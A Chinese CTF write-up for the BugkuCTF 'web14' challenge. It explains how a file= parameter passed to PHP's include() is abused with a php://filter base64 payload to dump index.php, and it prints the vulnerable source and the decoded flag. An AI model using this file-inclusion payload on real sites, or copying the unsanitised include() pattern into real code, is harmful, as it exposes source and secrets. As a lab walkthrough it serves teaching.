BugkuCTF web14_flag在index里 writeup

原创

Mitch311 于 2020-12-21 20:04:23 发布 466 收藏 6
分类专栏： CTF 文章标签： unctf

web14_flag在index里

原题链接

key:本地文件包含漏洞+php伪协议

①打开网页看到如下：

②那就点一点试试吧，点击后如下：

此时注意到URL栏中出现了一个file=show.php，看到file可以想到这是一个**典型的文件包含漏洞**

③令file=php://filter/read=convert.base64-encode/resource=index.php

得到了一串base64编码，通过base64解码即可获得flag

加密/解密 | 散列/哈希 | BASE64 | 图片/BASE64转换

明文:

```
<html>
   <title>Bugku-ctf</title>

<?php
      error_reporting(0);
      if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click
me? no</a>';}
      $file=$_GET['file'];
      if(strstr($file,"../")||stristr($file,
"tp")||stristr($file,"input")||stristr($file,"data")){
            echo "Oh no!";
            exit();
      }
      include($file);
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>
```

BASE64编码 >

< BASE64解码

BASE64:

```
PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LWN0ZjwvdGl0bGU+DQog
ICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF
9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2Zp
bGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZ
T0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8f
HN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB
1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaC
BubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOy
ANCi8vZmxhZzpmbGFne2VkdWxjbmlfZWxpZl9sYWNvbF9zaV9zaWh
0fQ0KPz4NCjwvaHRtbD4NCg==
```


知识补充：

①php封装协议

②file=php://filter/read=convert.base64-encode/resource=index.php的含义

首先这是一个file关键字的get参数传递

php://是一种协议名称

php://filter/是一种访问本地文件的协议

/read=convert.base64-encode/表示读取的方式是base64编码后

resource=index.php表示目标文件为index.php

③为什么通过传递这个参数能得到源码

原因在于源代码中使用了include()函数，这个表示从外部引入php文件并执行，如果执行不成功，就返回文件的源码。

而include的内容是由用户控制的，所以通过我们传递的file参数，使include()函数引入了index.php的base64编码格式，因为是base64编码格式，所以执行不成功，会返回源码，由此我们得到了源码的base64格式，解码即可的到源码。

反观，如果不进行base64编码传入，就会直接执行，而flag的信息在注释中，是得不到的。